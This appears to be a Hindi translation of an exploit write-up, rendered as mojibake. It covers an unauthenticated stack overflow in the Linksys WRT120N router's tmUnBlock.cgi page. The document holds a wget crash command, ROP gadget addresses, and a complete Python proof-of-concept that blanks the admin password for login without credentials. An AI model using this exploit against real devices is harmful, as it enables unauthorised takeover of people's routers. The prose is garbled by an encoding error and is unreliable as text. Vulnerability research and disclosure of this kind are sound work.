рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд░реНрдорд╡реЗрдпрд░ рдФрд░
рдЬреЗрдЯреАрдЬреА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж , рдпрд╣ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдмрдЧ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рдерд╛ред
рдЬреИрд╕рд╛ рдХрд┐ рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╕реАрдЦрд╛, WRT120N RTOS рдкрд░ рдЪрд▓рддрд╛ рд╣реИред рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ, RTOS WEB рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ HTTP рдмреЗрд╕рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ:

рдЕрдзрд┐рдХрд╛рдВрд╢ рдкреГрд╖реНрдареЛрдВ рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдХрдИ рдкреГрд╖реНрда рд╣реИрдВ рдЬреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:


рдЗрди рдпреВрдЖрд░рдПрд▓ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рднреА рдЕрдиреБрд░реЛрдз рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдмрд┐рдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдмрдЧ рдвреВрдВрдврдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдЪреНрдЫреА рдЬрдЧрд╣ рд╣реИред
рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдкреГрд╖реНрда рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИрдВ, рдЕрдиреНрдп рдореМрдЬреВрдж рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреБрдЫ рднреА рдирд╣реАрдВ (NULL рдлрд╝рдВрдХреНрд╢рди) рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, /cgi/tmUnBlock.cgi рдХреЗ рдкреГрд╖реНрда рдореЗрдВ рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХрд╛ рд╣реИрдВрдбрд▓рд░ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ:
рд╡рд┐рдЪрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХрд╛ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣рд┐рд╕реНрд╕рд╛ рдпрд╣ рд╣реИ:
fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"))
рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рдкрд╣рд▓реА рдирдЬрд╝рд░ рдореЗрдВ рдЕрдЪреНрдЫрд╛ рд▓рдЧрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди POST рдЕрдиреБрд░реЛрдз рдХреЗ
TM_Block_URL рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг
рдлрд╝рд░реНрдЬрд╝реАрдлрд╝рд╛рдпрд░ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреА рдХрдореА рдХреЗ рдХрд╛рд░рдг рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ:

рд╣рд╛рдВ,
fprintf рдкреНрд░рд╛рд░реВрдк рдФрд░ рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде
vsprintf рдХреЛ рдХреЙрд▓
рдХрд░рддрд╛ рд╣реИ, рдФрд░ рд╣рдо рдЗрд╕реЗ 256 рдмрд╛рдЗрдЯреНрд╕ рддрдХ рд╕реАрдорд┐рдд рд╕реНрдерд╛рдиреАрдп рдмрдлрд░ рдореЗрдВ рдбрд╛рд▓рддреЗ рд╣реИрдВред
рдЕрдкрдирд╛ рд╕рдореНрдорд╛рди рдХрд░реЗрдВред рд╕реНрдкреНрд░рд┐рдВрдЯрдл рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВредрдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ POST рдкреИрд░рд╛рдореАрдЯрд░
TM_Block_URL, рдлрд╝рд┐рд░рдкреНрд░рд┐рдВрдЯ рдореЗрдВ рдПрдХ рдвреЗрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдХрд╛рд░рдг рд╣реЛрдЧрд╛ рдпрджрд┐ рдпрд╣ 246 рдмрд╛рдЗрдЯреНрд╕ (рд╕рд╛рдЗрдЬрд╝реЛрдлрд╝ (buf) - strlen ("рд╕реНрдерд╛рди:")) рд╕реЗ рдЕрдзрд┐рдХ рд╣реЛ:
$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
рд╕реНрдЯреЗрдХрдЯреНрд░реЗрд╕ рдЧрд┐рд░ рдЬрд╛рддреЗ рд╣реИрдВрдЪрд▓реЛ рдПрдХ рд╕рд░рд▓ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдореГрддрд┐ рдореЗрдВ рд▓рд┐рдЦ рджреЗрдЧрд╛, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб, рдЬреЛ 0x81544AF0 рдкрд░ рд╕реНрдерд┐рдд рд╣реИ:

рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб рдПрдХ рдорд╛рдирдХ NULL- рдЯрд░реНрдорд┐рдиреЗрдЯреЗрдб рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╣рдо рдкрддреЗ рдкрд░ рдХреЗрд╡рд▓ рдПрдХ NULL рдмрд╛рдЗрдЯ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдПрдХ рдЦрд╛рд▓реА рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд░рд╛рдЙрдЯрд░ рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдореЗрдВ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рд╢реЛрд╖рдг рдХреЗ рдмрд╛рдж рд╕рд┐рд╕реНрдЯрдо рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдХрд╛рдо рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦреЗред
рдпрджрд┐ рдЖрдк
fprintf рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрдд рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ $ ra рдФрд░ $ s0 рдХреЛ рд╕реНрдЯреИрдХ рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╣рдо рдЗрди рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рд╣рдо рд╕реНрдЯреИрдХ рдХреЛ рдУрд╡рд░рдлрд╝реНрд▓реЛ рдХрд░рддреЗ рд╣реИрдВ:

0x8031F634 рдкрд░ рдХреЛрдб рдХрд╛ рдПрдХ рдФрд░ рдЙрддреНрдХреГрд╖реНрдЯ рдЯреБрдХрдбрд╝рд╛ рд╣реИ рдЬреЛ $ s рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ $ рд╢реВрдиреНрдп рд░рдЬрд┐рд╕реНрдЯрд░ рд╕реЗ рдкрддреЗ рддрдХ 4 NULL рдмрд╛рдЗрдЯреНрд╕ рд▓рд┐рдЦрддрд╛ рд╣реИред

рдпрджрд┐ рд╣рдо рдУрд╡рд░рдлреНрд▓реЛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ fprintf 0x8031F634 рдкрд░ рд╡рд╛рдкрд╕ рд▓реМрдЯреЗ рдФрд░ рдПрдХ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдкрд╛рд╕рд╡рд░реНрдб (0x81544AF0) рд╡рд╛рд▓реЗ рдкрддреЗ рдХреЗ рд╕рд╛рде $ s0 рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рджреЗ, рддреЛ рдпрд╣ рдХреЛрдб рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдп рдХрд░реЗрдЧрд╛:
- рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдХрд░реЗрдВ
- рдпрд╣ рд╕реНрдЯреИрдХ рд╕реЗ рд╡рд╛рдкрд╕реА рдкрддреЗ рдкрд░ рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рдПрдЧрд╛ (рдФрд░ рд╣рдо рд╕реНрдЯреИрдХ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ)
- рд╕реНрдЯреИрдХ рдкреЙрдЗрдВрдЯрд░ рдореЗрдВ 16 рдЬреЛрдбрд╝реЗрдВ
рдЕрдВрддрд┐рдо рдмрд┐рдВрджреБ рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣реИред рд╣рдореЗрдВ рдХрд╛рдо рдЬрд╛рд░реА рд░рдЦрдиреЗ рдФрд░ рдХреНрд░реИрд╢ рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рд╣рдо рдЕрднреА рддрдХ
cgi_tmUnBlock рдлрдВрдХреНрд╢рдирдлреЗрдпрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ 16 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдПрдХ рд╕реНрдЯреИрдХ рдСрдлрд╝рд╕реЗрдЯ рдорд┐рд▓рддрд╛ рд╣реИред
рдкреНрд░рдпреЛрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдПрдордЖрдЗрдкреА рдЖрд░рдУрдкреА рдЧреИрдЬреЗрдЯ (рд░рд┐рд╡рд░реНрд╕-рдУрд░рд┐рдПрдВрдЯреЗрдб рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдПрдХ рдХреНрд░рдоред рд▓рдЧрднрдЧред) рдЬреЛ 16 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рд╕реНрдЯреИрдХ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИ, рд╕рдорд╕реНрдпрд╛рдЧреНрд░рд╕реНрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдПрдХ рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рдЬрд╛рдПрдВрдЧреЗред
рдпрджрд┐ рд╣рдо рдЙрд╕ рдкрддреЗ рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ
fprintf рдХреЛ
cgi_tmUnblock рдкрд░ рд▓реМрдЯрдирд╛ рдЪрд╛рд╣рд┐рдП рдерд╛, рддреЛ рд╣рдо рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╡рд╣ рдЬреЛ рдХреБрдЫ рдХрд░рддрд╛ рд╣реИ рд╡рд╣ рд╕реНрдЯреИрдХ рд╕реЗ $ ra, $ s1 рдФрд░ $ s0 рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ 0 ├Ч 60 рдХреЛ рд╕реНрдЯреИрдХ рдкреЙрдЗрдВрдЯрд░ рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ:

рдмреЗрд╢рдХ, рдРрд╕реЗ рдХреЛрдИ рдЧреИрдЬреЗрдЯ рдирд╣реАрдВ рд╣реИрдВ рдЬреЛ рдмрд╕ рдРрд╕рд╛ рдХрд░реЗрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдкрддрд╛ 0x803471B8 рдкрд░ рдПрдХ рдЕрдЪреНрдЫрд╛ рд╣реИ, рдЬреЛ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИ:

рдпрд╣ рдЧреИрдЬреЗрдЯ рдХреЗрд╡рд▓ 0 ├Ч 10 рдХреЛ рд╕реНрдЯреИрдХ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рд╣реИред рд╣рдо рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реНрдЯреИрдХ рдлреНрд░реЗрдо рдмрдирд╛рдПрдВрдЧреЗ рдЬреЛ рдЖрд░рдУрдкреА рдЧреИрдЬреЗрдЯ рдХреЛ 5 рдмрд╛рд░ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рд╡рд╛рдкрд╕ рдХрд░ рджреЗрдЧрд╛ред рдкрд╛рдБрдЪрд╡реЗрдВ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдкрд░, $ ra, $ s1 рдФрд░ $ s0 рдХреЗ рдореВрд▓ рдорд╛рди, рдЬреЛ рд╣рдордиреЗ
cgi_tmUnblock рдХреЛ
рджрд┐рдП рдереЗ , рдЙрдиреНрд╣реЗрдВ рд╕реНрдЯреИрдХ рд╕реЗ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рд╣рдорд╛рд░рд╛ ROP рдЧреИрдЬреЗрдЯ рдХреЙрд▓рд░
cgi_tmUnblock рдкрд░ рд╡рд╛рдкрд╕
рдЖрдПрдЧрд╛ :

рд╕реНрдЯреИрдХ рдФрд░ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдореЗрдВ рд╕рд╣реА рдорд╛рди рдХреЗ рд╕рд╛рде, рд╕рд┐рд╕реНрдЯрдо рдХрд╛рдо рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦреЗрдЧрд╛ рдЬреИрд╕реЗ рдХрд┐ рдХреБрдЫ рднреА рдирд╣реАрдВ рд╣реБрдЖ рдерд╛ред рдпрд╣рд╛рдБ PoC (
рдбрд╛рдЙрдирд▓реЛрдб ) рд╣реИ:
import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass

рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рднреА рд╕рдВрднрд╡ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдФрд░ рд╕рдордпред